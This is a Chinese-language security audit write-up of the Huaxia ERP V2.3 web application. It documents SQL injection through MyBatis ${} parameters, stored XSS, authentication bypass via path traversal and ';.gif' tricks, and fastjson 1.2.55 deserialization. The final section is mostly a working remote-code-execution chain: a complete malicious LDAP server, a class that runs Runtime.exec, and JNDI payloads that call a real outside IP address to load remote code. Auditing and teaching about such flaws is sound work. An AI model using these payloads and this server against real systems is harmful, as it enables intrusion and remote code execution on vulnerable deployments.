华夏erpV2.3

启动配置

JDK1.8

首先配置application.properties文件,连接数据库

测试用户:jsh,密码:123456


审计

准备

首先看pom.xml文件,看看用了哪些依赖,了解一下配置信息

1、使用了fastjson1.2.55,存在多个漏洞

  • 反序列化(autoType功能在这个版本是默认开启的,能允许在json中指定类名进行反序列化)
  • 黑名单绕过(黑名单认证机制存在缺陷,有多种方式绕过)
  • JNDI注入导致RCE
<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
	<version>1.2.55</version>
</dependency>

payload:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
}

2、使用了log4j

<dependency>
	<groupId>org.apache.logging.log4j</groupId>
	<artifactId>log4j-to-slf4j</artifactId>
	<version>2.10.0</version>
	<scope>compile</scope>
</dependency>

3、使用了MyBatis数据库

<dependency>
	<groupId>com.baomidou</groupId>
	<artifactId>mybatis-plus-boot-starter</artifactId>
	<version>3.0.7.1</version>
</dependency>

4、使用了swagger-ui

<dependency>
	<groupId>io.springfox</groupId>
	<artifactId>springfox-swagger2</artifactId>
	<version>2.7.0</version>
	<scope>compile</scope>
</dependency>

在pom.xml中,这种带黄色波浪线的,都是存在历史漏洞的

项目结构

java/
└── com/
    └── jsh/
        └── erp/
            ├── config/          # 配置类
            ├── constants/       # 常量定义
            ├── controller/      # 控制器层
            ├── datasource/      # 数据源配置
            ├── exception/       # 异常处理
            ├── filter/         # 过滤器
            ├── service/        # 服务层
            ├── utils/          # 工具类
            └── ErpApplication  # 主启动类



多个sql注入

上面在pom.xml配置文件中已经看到了使用的是MyBatis数据库,这里可以全局搜索一下${

${ }表示使用拼接字符串,将接受到的参数内容不加任何修饰符拼接在SQL中

通常MyBatis数据库存在注入的情况如下:

%${  //因为模糊查询不能直接使用%#{}%,所以不会的开发可能会使用%${}%形式,这种就存在sql注入
in (${  //使用in (#{}这种形式会报错
order by ${  //order by也不能使用预编译

要在xml文件中查找,因为MyBatis数据库的大部分sql语句都写在xml文件中

这里找一个像的进去看一下

可以看到参数是name,对应的dao层为selectByConditionDepot

dao层(Data Access Object)是数据访问层,是java程序中用于封装与数据库交互的组件层。

转到dao层

继续跟这个selectByConditionDepot方法

接着跟这个select方法,到功能层

可以看到这个name是来自search里面的,获取到的map类型也就是键值对,接着往下看这个search是哪来的,跟一下getDepotList方法

继续跟这个select方法

继续跟

跟到了功能层,这里可以看出来是通用的功能层代码,多处api都是调用这段代码,意味着这里存在多处sql注入。

它会根据不同的/{apiName}触发不同的功能点,但在于只要访问了/list就会触发这里。

这里可以Ctrl+点击list,查看一下有哪些路径,但是没法确定路由里的search参数中的键是name。只能bp开着代理,挨个地方点点点,寻找路由为/xxx/list并且search参数中存在name键的数据包,找到对应的功能点。

可以尝试一下多跟几处${,会发现最终都会跟到这一个功能层代码上来。

​

验证sql注入:

http://192.168.16.1:8080/index.html#/pages/manage/depot.html

在不进行sleep时执行时间是1秒多点

sleep(1)时为3秒多

sleep(5)时为11秒多

说明sleep执行了两次。具体可以在IDEA看一下日志中记录的sql语句。


以同样的方式再找一个,loginName或者userName

最后发现同样是跟到/{apiName}/list这个接口

在添加用户这里

这里的userName和loginName参数都能进行时间盲注进行注入(效果都是一样的)

这里由于分页page=12的原因,sleep(1)执行了12次,才导致12秒多的延迟

Execute SQL:SELECT user.id, user.username, user.login_name, user.position, user.email, user.phonenum, user.description, user.remark, user.isystem, org.id AS orgaId, user.tenant_id, org.org_abr, rel.user_blng_orga_dspl_seq, rel.id AS orgaUserRelId, (SELECT r.name FROM jsh_user_business ub INNER JOIN jsh_role r ON ub.value = concat("[", r.id, "]") AND ifnull(r.delete_flag, '0') != '1' WHERE ub.type = 'UserRole' AND ub.key_id = user.id LIMIT 0, 1) roleName FROM jsh_user user LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 63 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 63 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 63 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%' AND SLEEP(1) ORDER BY rel.user_blng_orga_dspl_seq, user.id DESC LIMIT 0, 12


多处xss

xss还是直接黑盒到处插来的快

第一处

采购订单的新增商品处一堆输入框,直接全插入

也是不出意外全弹了(这里就不放截图了),每次点击采购订单处都会挨个触发

​

第二处

销售管理的添加客户信息处,客户名称这里可以触发一次



第三处

还有仓库管理的添加供应商名称处也能触发一次xss


第四处

在财务管理的收支单处添加项目也能触发


反正有好多存储型xss,并且能在多个地方触发。

​

鉴权绕过(未授权)

已经看过了pom.xml,没有使用shiro或者jwt之类的鉴权技术。在项目结构中可以看到有filter层,只有一个文件

第一处

在开头的这里定义了一个LogCostFilter过滤器,拦截所有网站路径(/*)。有两个初始化参数:

  • ignoreUrl:将忽略.css#.js#.jpg#.png#.gif#.ico这些文件类型的请求
  • filterPath:指定需要特别处理的路径/user/login#/user/registerUser#/v2/api-docs

这里应该是把#当作分割符了

@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
        initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                      @WebInitParam(name = "filterPath",
                              value = "/user/login#/user/registerUser#/v2/api-docs")})

​

1、使用/user/login/../../绕过鉴权

这里可以看到这里使用了startsWith()函数来判断url是否以allowUrls中的内容开头,如果是的话则放行。

allowUrls可以在上面的定义中看到就是filterPath中的路径

因此可以使用以filterPath中的任意路径开头+目录穿越的方式进绕过鉴权


2、使用;.gif绕过鉴权

这里使用一个自定义的verify()函数来判断请求的url是否可以放行

跟着看一下verify()函数,由于这里的正则表达式过于宽泛,只要url任何位置包含ignoreList中的内容就可以匹配成功,绕过进入过滤器。

例如:^.*\.css.*$,只要url任意位置包含.css即可匹配成功

利用路径参数(;)+url中包含任意ignoreList中内容的方式进行绕过鉴权

;用于添加路径参数,如:/path?param1=v1;param2=v2附属于路径中的某一段。这里的分号相当于是截断作用

其实这种也可以使用/.gif/../account/getAcount的方式进行绕过

第二处

如果请求的url非空并且url中包含doc.html、register.html、login.html中的任意一个即可放行

(requestUrl.contains("/doc.html") ||requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))

依旧可以使用上面那种目录穿越的方式进行绕过鉴权


fastjson反序列化

在pom.xml中可以看到有fastjson的依赖,版本为1.2.55。

可以全局搜索一下parseObject(、JSON.parseObject(、JSONObject.parse(、JSONObject.parseObject(

JSON.parse() JSON.parseObject() JSONObject.parse()  JSONObject.parseObject()


跟进一下getInfo()方法,看看哪里调用了 ,发现很多处调用,应该是个通用方法

随意跟进一个,可以看到这个方法又是从select来的

和上面sql注入的跟进方法一样,跟了几次又跟到了这里。

那继续用之前那个功能点


尝试一下dnslog(注意需要url编码)

search={"@type":"java.net.Inet4Address","val":"ek27ajcim8u3pd3dmjusxigi79d01rpg.oastify.com"}

burp自带的dnslog也成功收到请求

可以看到这里明确开启了autoType:static { defaultRedisConfig.setAutoTypeSupport(true);}

尝试一下rce


攻击者服务端代码(LDAPServer.java):

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://82.157.235.117:6666/#Executor";
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

要执行的payload(Executor.java):然后用javac编译成.class文件

public class Executor {
    public Executor() throws IOException{
        Runtime.getRuntime().exec("calc");
    }
}

执行顺序还是先python起一个http服务

python -m http.server 6666

然后运行LDAPServer.java,接着运行LDAPTest.java即可

攻击代码:

{
  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName": "rmi://82.157.235.117:7777/Exploit",
  "autoCommit": true
}

AutoType为 false 时 :先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错

AutoType为 true 时 :先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤

这里上面的方法不太行,其他绕过方法参数:https://github.com/safe6Sec/Fastjson

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://82.157.235.117:7777/Exploit","Object":"a"}

​